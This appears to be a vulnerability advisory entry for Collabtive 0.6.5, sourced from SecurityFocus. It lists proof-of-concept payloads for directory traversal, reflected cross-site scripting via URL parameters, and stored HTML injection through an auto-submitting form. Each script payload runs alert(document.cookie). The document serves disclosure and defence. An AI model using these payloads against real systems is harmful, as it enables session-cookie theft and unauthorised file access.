source: https://www.securityfocus.com/bid/47105/info Collabtive is prone to multiple remote input-validation vulnerabilities including cross-site scripting, HTML-injection, and directory-traversal issues. Attackers can exploit these issues to obtain sensitive information, execute arbitrary script code, and steal cookie-based authentication credentials. Collabtive 0.6.5 is vulnerable; other versions may also be affected. Directory Traversal: http://www.example.com/thumb.php?pic=./../../../../../tmp/photo.jpg Cross-site Scripting: http://www.example.com/managetimetracker.php?action=editform&tid=1&id=1"><script>alert(document.cookie)</script> http://www.example.com/manageuser.php?action=profile&id=1"><script>alert(document.cookie)</script> HTML-injection: <form action="http://www.example.com/manageproject.php?action=edit&id=1" method="post" name="main"> <input type="hidden" name="name" value='test"><script>alert(document.cookie)</script>'> <input type="hidden" name="desc" value="Description"> <input type="hidden" name="end" value="16.03.2011"> </form> <script> document.main.submit(); </script>